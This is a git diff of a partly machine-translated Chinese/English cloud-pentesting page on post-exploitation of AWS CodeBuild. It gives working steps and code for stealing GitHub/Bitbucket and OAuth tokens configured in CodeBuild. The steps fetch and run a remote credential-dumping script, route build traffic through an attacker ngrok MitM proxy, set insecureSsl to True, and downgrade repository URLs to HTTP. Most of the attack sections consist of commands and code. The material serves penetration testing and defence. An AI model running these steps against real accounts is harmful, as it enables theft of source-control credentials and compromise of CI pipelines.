Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation

This commit is contained in:
Translator
2026-04-01 12:39:03 +00:00
parent 47f57334fc
commit ca89fed0b8
@@ -4,45 +4,55 @@
## 恢复 Github/Bitbucket 已配置的 Tokens
首先,检查是否存在任何已配置的 source 凭据,你可以 leak:
首先,检查是否配置了任何 source credentials that you could leak:
```bash
aws codebuild list-source-credentials
```
### 通过 Docker 镜像
### 通过 RCE 在 CodeBuild 作业中
如果你发现账号中设置了例如 Github 的身份验证,你可以通过让 Codebuild **use an specific docker image** 来运行项目构建,从而**exfiltrate**该**access****GH token or OAuth token**
从 CodeBuild 作业内部,你可以访问一个未记录的 AWS CodeBuild API 端点,该端点会返回 CodeBuild 使用的凭据。 这可以用来获取 CodeBuild 作业在设置时使用的凭据,例如 AWS CodeConnection 凭据、OAUTH 或 PAT 凭据。CodeBuild 作业无需具有特权即可访问该端点,而且在日志和监控中也很难被检测到,因为 CodeBuild 本身在启动时会多次调用此端点
为此你可以**create a new Codebuild project**或者更改已有项目的**environment**以设置**Docker image**。
该技术在 [https://thomaspreece.com/2026/03/23/part-2-aws-codebuild-escalating-privileges-via-aws-codeconnections/](https://thomaspreece.com/2026/03/23/part-2-aws-codebuild-escalating-privileges-via-aws-codeconnections/) 有更详细的说明,但总之要在 CodeBuild 作业内获取凭据,你只需要运行以下命令:
```
python -m pip install botocore boto3 requests
wget https://raw.githubusercontent.com/thomaspreece/AWS-CodeFactoryTokenService-API/refs/heads/main/GetBuildInfo.py
python ./GetBuildInfo.py
```
### 通过 Docker Image
你可以使用的 Docker 镜像是 [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm)。这是一个非常基础的 Docker 镜像,会设置**env variables `https_proxy`**、**`http_proxy`**和**`SSL_CERT_FILE`**。这将允许你拦截`https_proxy``http_proxy`中指示主机的大部分流量,并信任`SSL_CERT_FILE`中指示的 SSL 证书
如果你发现账户中为例如 Github 设置了认证,你可以通过让 Codebuild 使用特定的 docker image 来运行项目构建,从而 **exfiltrate** 那个 **access****GH token or OAuth token**
为此你可以 **create a new Codebuild project** 或更改现有项目的 **environment** 来设置 **Docker image**
The Docker image you could use is [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm)。这是一个非常基础的 Docker image,会设置 **env variables `https_proxy`**、**`http_proxy`** 和 **`SSL_CERT_FILE`**。这将允许你拦截 `https_proxy``http_proxy` 指定主机的大部分流量,并信任 `SSL_CERT_FILE` 指定的 SSL 证书。
1. **Create & Upload your own Docker MitM image**
- 按照该仓库的说明设置你的代理 IP 地址并设置你的 SSL 证书,**build the docker image**。
- 按照该 repo 的说明设置你的代理 IP 地址并设置你的 SSL 证书,**build the docker image**。
- **DO NOT SET `http_proxy`**,以免拦截对 metadata endpoint 的请求。
- 你可以使用 **`ngrok`**,例如 `ngrok tcp 4444` 来将代理指向你的主机
- 一旦你构建好 Docker 镜像**upload it to a public repo**DockerhubECR...
- 你构建好 Docker image 后**upload it to a public repo**Dockerhub, ECR...
2. **Set the environment**
- **Create a new Codebuild project** 或 **modify** 有项目的 environment。
- 创建一个 **new Codebuild project****modify** 有项目的 environment。
- 将项目设置为使用 **previously generated Docker image**
<figure><img src="../../../../images/image (23).png" alt=""><figcaption></figcaption></figure>
3. **Set the MitM proxy in your host**
-**Github repo** 所示,你可以使用类似:
-**Github repo** 所示,你可以使用类似:
```bash
mitmproxy --listen-port 4444 --allow-hosts "github.com"
```
> [!TIP]
> **mitmproxy 使用的版本 9.0.1**,据报在版本 10 上可能无法工作。
> 使用的 **mitmproxy 版本 9.0.1**,据报在版本 10 上可能无法工作。
4. **运行构建并捕获凭证**
- 你可以在 **Authorization** 中看到 token
- 你可以在 **Authorization** header 中看到 token
<figure><img src="../../../../images/image (273).png" alt=""><figcaption></figcaption></figure>
这也可以通过 aws cli 使用类似的命令完成:
这也可以通过 aws cli 完成,例如
```bash
# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
@@ -73,15 +83,15 @@ aws codebuild start-build --project-name my-project2
```
### 通过 insecureSSL
**Codebuild** 项目有一个名为 **`insecureSsl`** 的设置,该设置在网页界面中隐藏,只能通过 API 改。\
启用该设置后,Codebuild 将能够连接到仓库 **而不验证平台提供的证书**
**Codebuild** 项目有一个名为 **`insecureSsl`** 的设置,该设置在 web 界面中隐藏,只能通过 API 改。\
启用后,Codebuild 将允许连接到仓库**不检查平台提供的证书**。
- 首先你需要用类似的命令枚举当前配置:
- 首先你需要枚举当前配置,使用类似以下命令
```bash
aws codebuild batch-get-projects --name <proj-name>
```
- 然后,使用收集到的信息,你可以将项目设置 **`insecureSsl`** 更新为 **`True`**。下面是我更新一个项目的示例,注意最后**`insecureSsl=True`**(这是你需要从收集到的配置中改的唯一内容)。
- 此外,还要添加环境变量 **http_proxy****https_proxy**,指向你的 tcp ngrok,如下所示
- 然后,使用收集到的信息,你可以将项目设置 **`insecureSsl`** 更新为 **`True`**。下面是我更新项目的一个示例,注意末尾**`insecureSsl=True`**(这是你需要从收集到的配置中改的唯一)。
- 此外,还要添加环境变量 **http_proxy****https_proxy**,指向你的 tcp ngrok如:
```bash
aws codebuild update-project --name <proj-name> \
--source '{
@@ -115,7 +125,7 @@ aws codebuild update-project --name <proj-name> \
]
}'
```
- 然后,在代理变量 (http_proxy 和 https_proxy) 指的端口上运行来自 [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) 的基本示例
- 然后,在代理变量 (http_proxy 和 https_proxy) 指的端口上运行来自 [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) 的基本示例
```python
from mitm import MITM, protocol, middleware, crypto
@@ -128,24 +138,24 @@ certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
```
- 最后,点击 **构建项目****凭证** 将以 **明文**base64)发送到 mitm 端口:
- 最后,点击 **Build the project****credentials** 将以 **明文**base64)发送到 mitm 端口:
<figure><img src="../../../../images/image (1) (1).png" alt=""><figcaption></figcaption></figure>
### ~~通过 HTTP 协议~~
> [!TIP] > **该漏洞在 2023 年 2 月 20 日那周的某个时间由 AWS 修复(我记得是周五)。因此攻击者现在无法再滥用它 :)**
> [!TIP] > **This vulnerability was corrected by AWS at some point the week of the 20th of Feb of 2023 (I think on Friday). So an attacker can't abuse it anymore :)**
具有提升权限的攻击者在某个 CodeBuild 中可以 **leak 配置的 Github/Bitbucket token**,或者如果权限是通过 OAuth 配置的,则可以 **用于访问代码的临时 OAuth token**
拥有对 CodeBuild 提权的攻击者可以 leak 配置的 Github/Bitbucket token,或者如果权限是通过 OAuth 配置的,则可以 leak 用于访问代码的 temporary OAuth token。
- 攻击者可以向 CodeBuild 项目添加环境变量 **http_proxy****https_proxy**,指向他的机器(例如 `http://5.tcp.eu.ngrok.io:14972`)。
- 攻击者可以添加环境变量 **http_proxy****https_proxy** 到 CodeBuild 项目,指向他的机器(例如 `http://5.tcp.eu.ngrok.io:14972`)。
<figure><img src="../../../../images/image (232).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../../images/image (213).png" alt=""><figcaption></figcaption></figure>
- 然后,将 github 仓库的 URL HTTPS 改为 HTTP,例如:`http://github.com/carlospolop-forks/TestActions`
- 然后,在代理变量http_proxy 和 https_proxy)指向的端口运行来自 [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) 的基本示例
- 然后,将 github 仓库的 URL 改为使用 HTTP 而不是 HTTPS,例如:`http://github.com/carlospolop-forks/TestActions`
- 然后,在代理变量 (http_proxy 和 https_proxy) 指定的端口运行来自 [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) 的基本示例
```python
from mitm import MITM, protocol, middleware, crypto
@@ -158,20 +168,20 @@ certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
```
- 接下来,点击 **构建项目** 或从命令行启动构建:
- 接下来,点击 **Build the project** 或从命令行启动构建:
```sh
aws codebuild start-build --project-name <proj-name>
```
- 最后,**credentials** 将以 **明文** (base64) 发送到 mitm 端口:
- 最后,**凭证**将以**明文**base64发送到 mitm 端口:
<figure><img src="../../../../images/image (159).png" alt=""><figcaption></figcaption></figure>
> [!WARNING]
> 现在 attacker 将能够他的机器上使用该 token,列出它拥有的所有 privileges 并比直接使用 CodeBuild 服务更容易地 (ab)use
> 现在攻击者能够他的机器上使用该 token,列出它拥有的所有权限,并比直接使用 CodeBuild 服务更容易地(滥用)利用这些权限
## 通过 webhook filter misconfiguration 导致的 Untrusted PR execution
## Untrusted PR execution via webhook filter misconfiguration
对于 PR-triggered webhook bypass chain (`ACTOR_ACCOUNT_ID` regex + untrusted PR execution),请查
对于 PR 触发的 webhook 绕过链(`ACTOR_ACCOUNT_ID` regex + untrusted PR execution,请查
{{#ref}}
aws-codebuild-untrusted-pr-webhook-bypass.md